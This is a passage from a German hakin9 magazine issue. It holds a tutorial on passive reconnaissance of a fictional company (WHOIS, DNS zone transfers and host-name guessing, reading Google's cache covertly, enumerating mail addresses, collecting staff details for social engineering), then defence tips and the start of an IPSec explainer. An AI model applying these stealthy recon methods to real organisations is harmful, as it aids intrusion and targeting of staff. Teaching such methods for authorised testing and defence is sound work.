darauf hin, ob die Firma Untastbaren GmbH eine registrierte, eigene Nummer besitzt, oder ob sie eine andere benutzt (in
www.hakin9.org
unserem Fall ist die Firma an das WARIA.PL-Netzwerk angeschlossen). Jede der oben ermittelten Informationen kann in der WHOISDatenbank überprüft werden und weitere, ebenso interessante Daten liefern. Und hier, mein lieber Leser, kommt eine Aufgabe für Sie – prüfen Sie, was man noch aus der RIPE-Datenbank auspressen kann (und hier gibt es eine Menge). Da WHOIS nicht der einzige Platz ist, an dem wir tief hängende Früchte pflücken können, ist unsere nächste Haltestelle der, allen Internet-Benutzern gut bekannte, DNS-Service, der viel Verwirrung hervorrufen kann.
Und Sie sind...
DNS ist nichts anderes als eine Menge von Systemen, die IPAdressen in Domainnamen übersetzen, und umgekehrt. Er findet also nummerische Adressen zu Namen, die für uns verständlich und für Menschen einfach zu merken sind. Solche Adressen sind für die Kommunikation in den Netzen erforderlich, die auf das IP-Protokoll basieren. Was bedeutet das für uns? Der menschliche Verstand ist vorhersehbar und lässt sich häufig von Schemas und Gewohnheiten leiten. Ein Beispiel hierfür: der Name eines WWW-Servers beginnt mit dem www-Präfix, Firewalls werden oft fw genannt, DNS's – ns, E-Mail – mail etc. Administratoren bedienen sich häufig Namen, die einer bestimmten Wurzel entstammen, z.B. aus der Mtyhologie, der Astronomie (Planeten- und Mondnamen) oder aus einem angenommenen Schema (dhcp13-14 könnte eine Workstation, deren Adresse mit 13.14 endet und aus dem DHCP-Server zugewiesen wird; geb01II122-01 – der erste Rechner im Gebäude 1 im Zimmer 122 im II Stock). Diese Lösung ist sehr bequem und erleichtert den Netzadministratoren ihre Arbeit, hinterlässt aber gleichzeitg viele Informationen für einen Eindringling. Es passiert manchmal, dass der externe DNS-Server
hakin9 Nr. 3/2006
55
Praxis
Listing 2. Ergebnisse der Abfrage der WHOIS-Datenbank nach die IPAdressen der Firma untastbaren.com % This is the RIPE Whois query server #2. % The objects are in RPSL format. % % Note: the default output of the RIPE Whois server % is changed. Your tools may need to be adjusted. See % http://www.ripe.net/db/news/abuse-proposal-20050331.html % for more details. % % Rights restricted by copyright. % See http://www.ripe.net/db/copyright.html % Note: This output has been filtered. % To receive output for a database update, use the "-B" flag % Information related to '10.14.86.0 - 10.14.86.255' inetnum: 10.14.86.0 - 10.14.86.255 netname: UNSTASTBARENNTDE-NET1 descr: UNSTASTBAREN country: DE admin-c: JF6969-RIPE tech-c: JF6969-RIPE status: ASSIGNED PA "status:" definitions mnt-by: WARIA-MNT source: RIPE # Filtered person: Jan Müller address: Unstastbaren GmbH address: Augustin Str. 150 address: 23-232 Hürth address: GERMANY phone: +48 55 5005555 fax-no: +48 55 5005566 e-mail: jan.mü[email protected] nic-hdl: JF6969-RIPE source: RIPE # Filtered % Information related to '10.14.86.0/22AS12345' route: 10.14.86.0/22 descr: WARIA.PL origin: AS12345 mnt-by: WARIA-MNT source: RIPE # Filtered
die Namen von Computern, die sich im geschützten Netzwerk befinden, übersetzt! Es ist gut ein bequemes Werkzeug bei der Hand zu haben, während wir mit dem DNS-Service arbeiten. In Linux-Systemem gibt es einige standardmäßig verfügbare Tools (dig, nslookup, host), unter Microsoft Windows nur eines (nslookup). Wir sollten nicht vergessen, dass wir im Verborgenen bleiben möchten. Aus diesem Grund ist es besser, auf eine Internetpräsenz zurückzugreifen. Sie fragt den DNS-Service ab und liefert uns die Ergebnisse, ohne das wir ein Paket in die Richtung unseres Testziels schicken müssen. Dafür benutzen wir z.B. das Service
56
hakin9 Nr. 3/2006
ht tp: / / w w w.net wor k- tools .c om /, das eine erweiterte Suche anbietet (Listing 2). Lass es uns den DNS-Server nach der Domain untastbaren.com fragen und seine Antwort uns genau ansehen. Das erste, was uns auffällt, ist die Tatsache, dass Wiktor Burak den Server administriert (sein Name ist im email: -Feld des SOA-Datensatzes zu sehen) und dass der DNS-Hauptserver den Namen Brodacz trägt. Aus der Analyse des gesamten Abfrageergebnisses folgt, dass dieser Server der durch die WHOIS- Datenbank zurückgegebene NS1 ist, und dass sein Partner – NS2 – Lysy ist, der gleichzeitig der Postserver (das MX-Feld) ist.
www.hakin9.org
Diese Informationen sind sehr wichtig. Befinden sich nähmlich die Server, die diesen Diensttyp ermöglichen, auf derselben physikalischen Maschine, haben wir eine entscheidene Verletzung der Sicherheitsregeln entdeckt. Indem wir den Postserver bloßstellen und die Rechte des Superbenutzers bekommen, übernehmen wir die Kontrolle über den DNS-Server und das kann sehr schwerwiegende Konsequenzen haben! Selbstverständlich ist es möglich, dass sich unter derselben IP-Adresse zwei verschiedene physikalische Systeme verbergen, was durch die Verwendung von z.B. loadbalancing oder anderem System zur Umleitung der Abfragen an verschieden Dienste erreicht werden kann. Aus einem der TXT-Datensätzen, die Textinformationen enthalten, erfahren wir zum Beispiel, dass die Kontaktnummer sich verändert hat (5005550). Das kann bedeuten, dass sich jemand bei der Eingabe vertippt hat (was aber eher wenig wahrscheinlich ist, wenn man bedenkt, dass sich die Ziffer 5 nicht in der Nähe der 0 befindet) oder dass diese Nummer der technischen Abteilung in unserer Firma gehört. Und wahrscheinlich arbeiten in dieser Abteilung Jaś Fasola und Wiktor Burak. Das sind neue Daten, die wir bei einer soziotechnischen Attacke gut gebrauchen könnten. Zurück zu DNS. Auf der Seite ht tp: / / w w w. i p - p lus . net / to o ls / dns_check_set.de.html finden Sie ein Tool, das auch die ganze Zone-Datei herunterzuladen versucht, während man DNS abfragt. Heutzutage gibt es nur wenige Rechner, die gegen solchen Angriff anfällig sind. Diese Attacke beruht darauf, dass der ganze Inhalt der Datenbank vom primären DNSServer für eine bestimmte Domain (in unserem Fall untastbaren.com) mittels einer Anfrage ausgelesen wird! Es werden alle Datensätze zurückgegeben – Stationsnamen zusammen mit ihren IP-Adressen. Solche Daten sind bei der Bestim-
Passives Sammeln der Informationen
mung des zu prüfenden Netzstruktur sehr hilfreich. Man kann an das Problem auch anders herangehen. Wenn wir mit einem eifrigen Netzadministrator zu tun haben, wird jede Eintragung in die primäre Datenbank in der umgekehrten Datenbank umgesetzt. Um an diese Daten zu gelangen, genügt es eine s.g. umgekehrte Abfrage (engl. reverse lookup) zu stellen, d.h. eine Brute-Force-Attacke auf DNS nach dem zu der gegebenen IP-Adresse zugehörenden Namen abzufragen.Wir geben also die uns bekannte Netzadresse (z.B. 10.14.86.32) ein und erhalten als Antwort den zugehörenden Namen (z.B. ns1.untastbaren.com, brodacz.untastbaren.com). Mit ein bisschen Glück können fast den ganze Inhalt der DNS-Datenbank bekommen! Damit es nicht zu einfach ist, nehmen wir an, dass unser Admin sehr beschäftigt ist (oder tagelang chattet) und die DNS-Datenbanken folglich unvollständig sind. Es bleibt uns noch eine weniger elegante Methode übrig, d.h. eine Kraftattacke auf DNS. Es handelt sich hier um simples Raten. Wir können versuchen zu erraten, ob der gegebene Servername in der DNS-Datenbank vorkommt (z.B. fw.untastbaren.com, ids.untastbaren.com, srv.untastbaren.com, srv1.unstastbaren.com etc.). Indem man die vorherigen Ergebnisse analysiert, kann man auch versuchen, den Suchbereich einzuschränken und nach den Namen abzufragen, die mit bereits bekannten in einem Zusammenhang stehen (z.B. mythologische Figuren). In dem betrachteten Fall können das, zum Beispiel, die folgenden Namen sein: k.untastbaren.com, h.untastbaren.com, w.untastbaren.com, l.untas-tbaren.com, c.untastbaren. com etc. Alles hängt von unserem Einfallsreichtum und ein wenig Fantasie ab.
Google is your friend...
Genau. Bisher haben wir weniger populäre Informationsquelle benutzt. Sehen wir uns jetzt die
Listing 3. Abfrageergebnisse, die der primäre DNS der Firma untastbaren.com zurückgegeben hat NsLookup Query the DNS for resource records domain query type A - Address NS - Name server CNAME - Canonical name SOA Start of authority MB - Mailbox domain MG -Mail group member MR - Mail rename domain NULL - Raw data record WKS - Well-known services PTR Domain pointer HINFO - Host info MINFO - Mailing list info MX Mail exchange TXT - Text strings RP - Responsible person AFSDB AFS database X25 - X25 PSDN address ISDN - ISDN address RT - Route through NSAP - NSAP address NSAP-PTR - NSAP-style pointer SIG - Security signature KEY - Security key PX - X.400 mail mapping info AAAA - IPv6 address LOC Location NXT - Next domain SRV - Location of services NAPTR - Naming authority pointer KX - Key exchange delegation UINFO - User info UID - User ID GID - Group ID MAILB - Mailbox-related records ANY - Any type server query class IN - Internet CH - CHAOS HS - Hesiod ANY - Any class port timeout (ms) no recursion advanced output [10.14.86.32] returned an authoritative response in 156 ms: Header rcode: Success id: 0 opcode: Standard query is a response: True authoritative: True recursion desired: True recursion avail: True truncated: False questions: 1 answers: 13 authority recs: 0 additional recs: 3 Questions name class type nietykalnisa ANY ANY Answer records name class type data time to live untastbaren.com IN SOA server: brodacz.untastbaren.com email: [email protected] serial: 2005050508 refresh: 43200 retry: 3600 expire: 3600000 minimum ttl: 1209600 8100s (2h 15m) untastbaren.com IN NS ls.untastbaren.com 8100s (2h 15m) untastbaren.com IN NS br.untastbaren.com 8100s (2h 15m) untastbaren.com IN NS ns1.untastbaren.com 8100s (2h 15m) untastbaren.com IN NS ns2.untastbaren.com 8100s (2h 15m) untastbaren.com IN MX preference: 10 exchange: mail.untastbaren.com 8100s (2h 15m) untastbaren.com IN A 10.14.86.33 8100s (2h 15m) untastbaren.com IN TXT Unstastbaren GmbH 8100s (2h 15m) untastbaren.com IN TXT Augustin Str. 150 8100s (2h 15m) untastbaren.com IN TXT FAX: +48 55 5005566 8100s (2h 15m) untastbaren.com IN TXT TEL: +48 55 5005550 8100s (2h 15m) untastbaren.com IN TXT 23-232 Hürth, POLAND 8100s (2h 15m) untastbaren.com IN TXT RP: Admin 8100s (2h 15m) Authority records [none] Additional records name class type data time to live ls.untastbaren.com IN A 10.14.86.33 8100s (2h 15m) br.untastbaren.com IN A 10.14.86.32 8100s (2h 15m) ns1.untastbaren.com IN A 10.14.86.32 8100s (2h 15m) ns2.untastbaren.com IN A 10.14.86.33 8100s (2h 15m) mail.untastbaren.com IN A 10.14.86.33 8100s (2h 15m) -- end -URL for this output
www.hakin9.org
hakin9 Nr. 3/2006
57
Praxis
Abbildung 2. Zugang zum Cache des Google-Services
Abbildung 3. Cache-Seite des Google-Services
Abbildung 4. Ethereal-Log zeigt, aus welchem Grund der Quellserver abgefragt wurde offensichtlicheren an. Vermutlich hat jeder, der mal im Netz etwas gesucht hat, die Seite http:// www.google.com/ besucht. Das ist die Nummer 1, wenn es um die Suche nach irgendwas in irgendwas geht. Nicht ohne Grund ist Google die beste Suchmaschine weltweit, deren Datenbank Millionen von Links, Dokumenten, Bildern und
58
hakin9 Nr. 3/2006
Kontakten erhält. In der Ausgabe 4/ 2005 von Hakin9-Abwehrmethoden wurde der Artikel von Michał Piotrowski mit dem Titel Gefährliches Google – Suche nach sensiblen Daten veröffentlicht. Wir werden hier daher die bekannten google hacks-Techniken nicht weiter besprechen. Ich deute hier nur einige kleine Details an.
www.hakin9.org
Es ist bekannt, dass man sehr interessante Ergebnisse bekommt, indem man die Anfragen an Google geschickt konstruiert. Operatoren vom Typ: site:, inurl:, intext, intitle: etc. erleichtern die Suche und präzisieren ihren Bereich, infolgedessen die Ergebnisse unseren Erwartungen näher kommen. Was tun wir nun, wenn wir einen interessanten Link gefunden haben? Klicken wir ihn an, dann wird unsere IP-Adresse in Logfiles des zu testenden WWW-Servers gespeichert und das wollen wir doch vermeiden. Man kann dafür einen kostenlosen Proxy-Server (eine Liste mit kostenlosen anonymen Proxys finden Sie unter www.proxy4free.com) oder ein TorPaket (tor.eff.org) benutzen. Es gibt aber eine elegantere Lösung. Zu Hilfe kommt uns das der Google-Service selbst, das zugänglich macht, was sein Cache enthält (Abbildung 2). Die Mehrheit der Seiten ist offline verfügbar, d.h. wir brauchen nicht den Zielserver abzufragen, um die auf ihm gehostete Seite angezeigt zu bekommen. Der Cache-Inhalt ist oft eine treue Kopie der ursprünglichen Seite. Die Sache hat aber einen kleinen Haken. Was für einen? Sehe wir uns Abbildung 3 an. In Abbildung 3 wurden eine Beispielabfrage nach der Internetpräsenz von Hakin9-Abwehrmethoden und die dazu gehörige Seite aus dem Cache dargestellt. Wenn wir aber den Logs von Ethereal, der während des Herunterladens der Seite aktiviert wurde, nachgehen (Abbildung 4), sehen wir, dass ein Teil der Abfragen vom Server / an das Server von hakin9 (die Adresse 62.111.243.84) geschickt wurde! Und genau das wollten wir doch vermeiden. Was ist passiert? Nach der kurzen Analyse des Logs ist die Antwort banal. Aus dem Quellserver wurden, auf der Seite enthaltene CSS-Style-Dateien (das Paket 31) und ein paar Bilder (die Pakete 78, 80, 130 und weitere) heruntergeladen. Was tun wir nun? Auf welche Weise gelangen wir in
Praxis
den Cache hinein, ohne unnötiges Aufsehen zu erregen. Google überrascht uns schon wieder. Lesen wir die Kopfzeile der Cache-Seite genau, bemerken wir eine klein geschriebene Information darüber, dass die Seite nur als Text angezeigt werden kann (Abbildung 5). Der Link zum Cache hat sich verändert. An seinem Ende ist ein kurzer Parameter erschienen: &strip =1, der für unsere Anonymität garantiert. Bei der Durchsuchung des Caches reicht es, das Abfrageergebnis in den Zwischenspeicher zu kopieren und das magische &strip=1 in das URLFeld einzufügen. Das Betätigen der Enter-Taste leitet diese einfache und elegante Methode ein. Wenn wir an eine Suchmaschine denken, fällt uns automatisch Google ein. Vergessen wir aber nicht, dass noch andere Anbieter dieses Typs existieren (search.msn.com, www.yahoo.com, www.clusty.com etc.). Ich empfehle Ihnen insbesondere den Clusty-Service, der nicht nur schnell funktioniert, sonden die Endergebnisse auch auf interessante Weise darstellt, indem er sie in Unterkategorien aufteilt (Abbildung 6). Da ist irgendwie der Rest vom Satz verlorengegangen. Sie werden auf WWW-Servern untergebracht, um die unerwünschte Indizierung von manchen Seiten zu vermeiden. Jede Suchmaschine benutzt einen Mechanismus, der Internet-Seiten automatisch durchkämmt und registriert (s.g. webcrawler). Webcrawler analysieren den gefundenen HTMLCode, alle in ihm enthaltenen Links und versuchen sie weiter zu verfolgen. Um der Indexierung von ausgewählten Seiten vorzubeugen, wird im Service eine spezielle Datei mit dem Namen robots.txt erstellt. Sie enthält Anweisungen an Webcrawler, in denen steht, welche Links ignoriert werden sollen. Die Datei robots.txt selbst wird jedoch gespeichert – und das kann uns weitere Überraschungen in unserem Penstest bereiten. So klein und macht doch so viel Freude.
60
hakin9 Nr. 3/2006
Abbildung 5. Google-Cache mit dem Link zu der Textversion des Dokuments
Abbildung 6. Das durch das Service www.clusty.com gelieferte Ergebnis Es lohnt sich einen Blick auf Diskussionsgruppen zu werfen. Es passiert manchmal, dass die Administratoren des von uns geprüften Netzes, an verschiedenen Diskussionen und Foren teilnehmen. Wenn Sie groups.google.com besuchen, achten Sie besonders auf Aussagen des technischen Personals. Häufige Anfragen nach technischen Details, einer Konfiguration oder bei der Arbeit auftretenen Problemen, können uns helfen zu bestimmen, welche Systeme in einer bestimmten Firma verwendet werden. Teilweise veröffentlicht manche sorglose IT-Angestellten sogar die Konfigurationen von Geräten und Systemen. In unserem Fall sollte man nach Jas Fasola und Wiktor Burak suchen, und prüfen, ob sie sich zu einem strittigen Thema geäußert haben (dazu benutzt man ihre Vornamen und Namen oder E-Mail-Adressen im Kontext des Namens untastbaren.com). Unternehmen, die Software erstellen und installieren, bringen in ihrem Portfolio häufig Informationen über die installierten Systeme
www.hakin9.org
und die erfolgreichen Projekte. Hier finden wir Daten der installierten Systeme zusammen mit den Typdetails: der Typ und die Version des Operationssystems, der Intranetaufbau, Datenbankversion etc. All diese Informationen müssen, bevor man sie im Internet platziert, vom Kunden selbst autorisiert werden. Mit seiner Erlaubnis wird also das Firmengeheimnis bekannt gegeben!
Was geht im Netz vor?
Neben Suchmaschinen verfügen wir über eine Unmenge von anderen Möglichkeiten. Das Netcraft-Service (http:// www.netcraft.com/) liefert Statistiken von Internetpräsenzen. Es informiert aber auch über einige andere, wichtige Einzelheiten. Fragt man beispielsweise nach der Seite von Hakin9-Abwehrmethoden (Abbildung 7), so bekommt man Daten über die Lokalisierung, den DNS-Server, die IP-Adresse, das Operationssystem und sogar die Version des Web-Servers. Über eine geschickte Abfrage des Netcrafts können wir DNS-Namen, die uns der Namenserver nicht
Passives Sammeln der Informationen
geliefert hat (weitere Aufgabe für den Leser), finden. RBL (engl. Realtime Blackhole List) und Kampf gegen Spam sind auch ein zweischneidiges Schwert. Die Seite openrbl.org bietet uns Informationen über Spammer. Zudem stellt sie uns noch eine interessante weitere Funktion zur Verfügung: es werden E-Mail-Adressen ermittelt, an die man Meldungen über Spam senden kann, der von einer bestimmten IP-Adresse kommt. Wenn eine Firma eine spezielle Person zu der Betreuung solcher Beschwerden delegiert, existiert eine Chance, dass wir diese Person kennenlernen. Damit erweitert sich unser Suchbereich, weil diese Person wahrscheinlich aus der Informatik-Abteilung kommt. Es gibt auch ein paar Internetpäsenzen (z.B. www.samspade.org, www.dnsstuff.com), die uns ein Werkzeugset zur Suche nach Informationen liefern (einfache und umgekehrte DNS-Abfragen, WHOIS, traceroute, ping usw.). Ein Beispiel: DNSStuff ermöglicht es uns email brute forcing-Attacke durchzufrühren. Eines der Tools fragt den Mailserver ab, ob die gegebene E-Mail-Adresse akzeptiert wird. Existiert der Empfänger nicht, wird ein Fehler zurückgegeben (Abbildung 8). In diesem Fall existieren zwei Erklärungen: das gegebene E-Mail-Adressen-Format ist inkorrekt. Das ist aber eher wenig wahrscheinlich, wenn man berücksichtigt, dass man in vorherigen Tests das richtige Format herausfinden konnte. Wenn wir also das E-Mail-Adressen-Format kennen, können wir versuchen die Liste der Angestellten dieser Firma zu bestimmen, indem wir Vornamen- und Nachnamen-Wörterbücher oder ein einfaches Script benutzen. Man sollte darauf achten, dass spätestens durch solch ein hartnäckiges An-die-Tür-Klopfen die Wachsamkeit der Person hinter dieser Tür erweckt wird. Obwohl wir unter einem Deckmantel handeln, schaut sogar ein fauler Netzadministrator von Zeit zu Zeit mal in die Logfiles hinein.
Abbildung 7. Abfrageergebnis nach dem Domainnamen hakin9.org im Service Netcraft.com
Abbildung 8. Durch den Service DNSStuff.com zurückgegebener Fehler, nachdem eine falsche E-Mail-Adresse angegeben wurde Stößt er auf eine Menge missgelungener Verbindungen, ausgehend von einer IP-Adresse, beginnt er sich dafür zu interessieren, was passiert ist. Und das wollen wir doch nicht. Aus diesem Grund sollten wir jedes Werkzeug mit mit angemessener Absicht benutzen. An dieser Stelle empfehle ich Ihnen ein Produkt der Firma VisualWare. Diese Software zeichnet auf eine Weltkarte die Route von einem Punkt zum anderen. Auf der Seite ist eine Demoversion verfügbar, aber um sie zu benutzen, wird die Registrierung gefordert. Man kann versuchen sich zu registrieren oder
www.hakin9.org
auf die Seite www.bugmenot.com gehen, wo uns die fertigen Authentisierungsdaten zur Verfügung stehen. Zu Empfehlen ist ebenso die Seite www.visualroute.pl, die zu GTS, dem einzigen Distributor der Software Visual Ware in Polen gehört.
E-Mail für dich...
In der Ausgabe 5/2004 von Hakin9Abwehrmethoden schreibt Tomasz Nidecki im Artikel Wie entfüllen den Absender einer E-mail über die Methoden zur Beschaffung von Informationen aus dem Briefkopf elektronischer Nachrichten. In solch
hakin9 Nr. 3/2006
61
Praxis
einem Briefkopf sind die folgenden Informationen enthalten: Daten bezüglich der von der Mail gewählten Route, der verwendeten E-Mail-Systeme, ob ein Antiviren- und ein Antispam-Schutz existiert, was für einen E-Mail-Client der Anbsender benutzt hat, welche IP-Adressierung innerhalb des Firmennetzwerkes verwendet wird etc. Alles bekommen wir in einer E-Mail, die wir vom zu testenden Objekt erhalten haben, geschenkt. Wie? Man kann kostenlose E-MailAccounts nutzen, um eine Anfrage nach dem neuen Geschäftsangebot zu schicken und dann ruhig auf die Antwort warten. Andere Möglichkeit wäre, Internet-Foren nach solchen Briefkopfen durchsuchen.
Über den Autor
Błażej Kantak interessiert sich seit 15 Jahren für Informatik und ist auf diesem Gebiet über 8 Jahre lang berufstätig. Zurzeit arbeitet er, als network troubleshooter, für eine große Finanzinstitution. Außer Netzwerke, die seine Hauptspezialisierung sind, beschätigt er sich auch mit den Problemem der Sicherheit, insbesondere Wi-Fi, VPN, FW, VoIP und Beschädigung von Cisco-Geräten. Błażej Kantak sucht auch Produzenten von T-Shirts mit der Aufschrift: My wife 0wnz me... Sein letzter Erfolg aus dem Physical Security-Bereich war eine gelungene DoS-Attacke auf einen Lift.
•
•
Verteidigung
Es ist die Zeit gekommen, den Festungsgraben auszuheben und Stacheldrahtzaun zu ziehen. Wie wehrt man sich vor passiver Informationsbeschaffung? Welche Vorkehrungen soll man unternehmen, um die Datenentwendung zu minimalisieren? Hier sind ein paar nützliche Tipps: •
•
•
62
Verraten Sie nicht das E-MailFormat, das innerhalb der Organisation verwendet wird – das betrifft sämtliche Adressen, die zu technischen Zwecken benutzt werden – beispielsweise sollte man für die WHOIS-Datenbank eine separate Mailbox anlegen (whois@unantastbare. com); Verwenden Sie, wo immer das möglich ist, eine und dieselbe Telefonnummer für die gesamte Organisation – dadurch fällt es schwerer ein, den von einem Telekommunikationsanbieter zugewiesenen Nummerbereich zu errraten, was Angriffe vom wardialing-Typ wirksam erschwert; Sperren Sie die Möglichkeit für Transfer der Zone-Datei vom DNS-Server aus (die meiste heutzutage verfügbare Software für DNS-Server schaltet diese Funktionalität in ihrer Standardkonfiguration aus).
hakin9 Nr. 3/2006
•
•
•
•
Verwenden Sie die umgekehrte DNS-Umsetzung nur in begründeten Fällen. Verwenden Sie DNS-Namen, die die Bestimmung der Server nicht suggerieren. Am besten ist es, eine Namenkonvention anzunehmen, die Hosts vom Standpunkt der Inventarisation eindeutig identifiziert, aber für die Dritten unverständlich ist. Beschränken Sie die Verwendung von Service-Bannern auf ein Minimum (z.B. SMTP, WWW usw.) oder verändern Sie ihren Inhalt auf einen, der ein anderes System als in der Realität suggeriert. Manchmal erfordert das Änderungen in Konfigurationsdateien oder in dem Quellcode selbst, wenn wir diesen zur Verfügung haben (Open Source); Schalten Sie die zurückgegebenen Fehlermeldungen auf den WWW-Seiten aus. Solche Fehler können von einem Eindringling aufgerufen werden, indem er inkorrekte Daten eingibt (z.B. Strings an der Stelle, wo Ziffern erwartet sind) und die Einzelheiten der Web-Applikation verraten (z.B. die IP-Adressierung des inneren Netzes, der Zugang zu un der Typ von der Datenbank, Passwort etc.). Wenn eine Seite mit kritischen und vetraulichen Daten in einer Suchmaschine indiziert wurde, sollte man mit dem technischen Personal Kontakt aufnehmen, damit diese Seite aus der Datenbank und dem Cache entfernt wird. Autorisieren Sie nicht die genauen Informationen über die
www.hakin9.org
•
•
aktuellen und abgeschlossenen Vorgänge in der eigenen informatischen Infrastruktur; Benutzen Sie robots.txt nicht –anstelle davon führen Sie eine Authentisierung für kritische WWW-Seiten; zusammen mit SSL-Verschlüsseung ein.
Zusammenfassung
Man schließt den Prozess der Absicherung von Computersystemen nicht damit ab, dass man die Firewall abdichtet, den Postserver patcht, die Antivirendatenbank aktualisiert und die Logs speichert. Dieser Prozess endet im Prinzip nie. In jeder Situation sollten Sie sich überlegen, ob Sie nicht zu viele Informationen (beispielweise über die Installation des PKI-Systems im Unternehmen) bekannt geben. Auf diese Weise können Sie die Regeln der Sicherheitspolitik verletzen und folglich die Sicherheit der Angestellten und Ressourcen Ihrer Firma gefährden. Im Artikel habe ich versucht zu zeigen, wie Daten, die unwichtig und kaum erheblich erscheinen, die Bloßstellung des Systems bedeutend erleichtern können. Wissen, über das ein Eindringling nicht verfügen sollte, gibt ihm die Macht, und an unserem schwächsten Punkt anzugreifen. Denken wir daran, dass wir, wenn wir unsere informationstechnische Struktur absichern, dafür sorgen müssen, dass all ihre Elemente gleichermaßen gegen eine Attacke abgehärtet sind. Ein Angreifer braucht nur eine Schwachstelle, um Erfolg zu haben. Und diese Schwachstelle ist meistens der Mensch. l
IPSec: Technische Beschreibung Theorie Bénoni Martin
Schwierigkeitsgrad
IPSec, das bei sicheren Übertragungen eingesetzt wird, gehört zu den kompliziertesten Protokollen überhaupt. Seine Komplexität ergibt sich daraus, dass IPSec über eine Reihe anderer Protokolle (AH, ESP, ISAKMP, IKE...) verfügt, über die man eine Ahnung haben muss, bevor man zu IPSec begreift. Dies kommt auch in der hohen Zahl der RFCs zu diesem Thema zum Vorschein.
I
PSec wurde von der IETF zwecks der Absicherung von TCP/IP auf Schicht 3 (Vermittlungsschicht im OSI-Modell)angesiedelt, so dass IPSec nicht an einen konkreten Port gebunden werden muss (wie z.B.: 22 für SSH oder 443 für HTTPs). Andere bekannten sicheren Protokolle wie SSL/TLS oder SSH sichern jeweils die Schichten 6 und 7 ab. IPSec kann in Host-Host-, Host-Gatewayoder Gateway-Gateway-Verbindungen eingesetzt werden. Der erste Typ erfordert entweder den Transport- oder den Tunnelbetrieb, während bei den zwei Übrigen der Tunnelbetrieb angewendet wird. Dank der Authentifizierung und Verschlüsselung von IP-Paketen ermöglicht IPSec eine völlige Absicherung von TCPbasierten Datenübertragungen. IPSec bietet also: •
•
64
Authentifizierung. Diese Funktionalität basiert u.a. auf dem Cookiekonzept (worauf wir später zu sprechen kommen) sowie auf geimensamen Schlüsseln, IP-Adressen, FQDN-Namen, X.509-Zertifikaten; Datenintegrität. Dank dem Einsatz von Hashingalgorithmen kann überprüft werden, ob Daten unterwegs vom Absender
hakin9 Nr. 3/2006
zum Empfänger nicht modifiziert wurden. Diese Integritätsprüfung basiert auf den zwei Haupttypen von Hashfunktionen: MAC und HMAC;
Achtung!
Die Listings zum Artikel IPSec: Technische Beschreibung sind unter www.hakin9.org/de/ zu finden.
In diesem Artikel erfahren Sie... •
Sie erfahren, wie IPSec funktioniert.
Was Sie vorher wissen/können sollten... • •
www.hakin9.org
Idealerweise kennen Sie die Grundlagen der TCP/UDP- und IP-Protokolle; Sie sollten die Grundbegriffe der Kryptographie beherrschen (gemeinsame Schlüssel, DiffieHellman-Verfahren, Zertifikate und digitale Signaturen).
IPSec
IPSec-Details
Begriffe
Digitales Zertifikat – ein Zertifikat, das auf eine sichere Art und Weise den öffentlichen Schlüssel einer Einheit mit einem entsprechenden Privatschlüssel (einer Person, Firma, Organisation) bindet und von einer Zertifizierungsstelle digital signiert. Das Zertifikatformat ist in der internationalen Norm ITU-T X.509 digital signiert. Hashfunktion (bzw. Einwegfunktion) – eine mathematische Funktion, die einen Text in einen Hash vorgegebener Länge (meist kürzer als der Ausgangstext) grundsätzlich unumkehrbar umwandelt. Der Hash repräsentiert den Ausgangstext in dem Sinne, dass nur ein konkreter Ausgangstext den konkreten Hash erzeugen kann. Derartige Funktionen werden häufig in folgenden Fällen eingesetzt: • • •
Bei einer Authentifizierung mit einem Stempel bzw. einer digitalen Signatur, beispielsweise in VPNs mit IPSec; Um die Integrität einer Datei (beispielsweise einer von einer Webbsite downgeloadeten Datei) oder eine E-Mail (beispielsweise mit PGP) zu gewährleisten; Um Passwortspuren unter mehreren Systemen beizubehalten. Es wird beispielsweise unter Unix zur späteren Identifizierung von Benutzern getan (so dass das System nicht die Passwörter selbst, sondern nur ihre Hashergebnisse aufbewahrt);
MAC (Message Authentication Code) – Mechanismen, die die Integrität einer verschickten Nachricht prüfen lassen. Sie gewährleisten, dass sie unterwegs nicht von Unbefugten modifiziert wurde. MACs charakteristisches Merkmal ist, dass sie auf Algorithmen symmetrischer Schlüssel basieren, typischerweise auf 3DES. HMAC (Hash-based MAC) – Algorithmen, die zugleich Hashfunktionen sind. Sie erfordern einen symmetrischen Schlüssel. Beispiele solcher Algorithmen sind HMACSHAx, HMAC-MDx. Digitale Signatur – das Ergebnis der Verschlüsselung und des Hashings der betreffenden Nachricht. Die zu signierende Nachricht wird zuerst gehasht und dann mit dem Privatschlüssel des Absenders verschlüsselt (was das Signieren zu einem asymmetrischen Prozess macht). Die digitale Signatur garantiert: •
•
•
•
•
•
Authentifizierung. Da der Absender theoretisch der Einzige ist, der seinen Privatschlüssel kennt, ist er auch der Einzige, der den Hash verschlüsseln kann. Dabei muss die Möglichkeit der Entschlüsselung für alle gegeben werden, die die Authentizität des Absenders prüfen wollen; Unleugbarkeit. Der Absender kann nicht vorgeben, er habe die Nachricht nicht geschickt, was dadurch gewährleistet wird, dass die Verschlüsselung des Hashes mit dem Privatschlüssel des Absenders erfolgt – einem Schlüssel, den nur er kennt; Integrität. Der Empfänger kann das Hashergebnis der Nachricht mit der entschlüsselten digitalen Signatur der Nachricht vergleichen. Die Daten wurden nicht modifiziert, wenn dieser Vergleich bestätigt, dass es identische Werte sind.
Unleugbarkeit. Die Möglichkeit einer formellen Identifizierung des Absenders so, dass dieser das Verfassen einer Nachricht nicht leugnen kann. Die Option basiert auf dem Konzept der digitalen Signatur (vergleiche: Encadré); Datenvertraulichkeit. Dank Verschlüsselung können Daten für Dritte unlesbar gemacht werden; Unmögliche Wiederherstellung. Diese Option wird in dem Abschnitt zu PFS (Schutz gegen
•
•
•
Wiederherstellung verschlüsselter Daten) genauer besprochen. Diese Funktionen können dank den zwei IPSec-Subprotokollen wahrgenommen werden: AH (Authentication Header) – erstellt, um vor allem Integrität und Authentifizierung der Daten zu gewährleisten; ESP (Encapsulating Security Payload) – garantiert Vertraulichkeit dank Verschlüsselung und evtl. Authentifizierung. ESP wird viel häufiger als AH eingesetzt.
www.hakin9.org
Sehen wir uns die Komponenten an, auf denen eine effektive IPSec-Verbindung basiert.
Sicherheitsassoziationen (SA – Security Association)
Eine IPSec-Verbindung basiert auf einer ungerichteten Sicherheitsassoziation (SA), die zwischen den Verbindungsteilnehmern zuvor ausgemacht wurde. Dass die Sicherheitsassoziation ungerichtet ist bedeutet, dass zwei SAs pro Verbindung erforderlich sind – eins für jede Kommunikationsrichtung. Solch eine Verbindung lässt beide Seiten die verschiedenen SA-Parameter des Datenaustausches anpassen. Eine IPSec-Verbindung kennzeichnet sich durch drei Merkmale: •
•
•
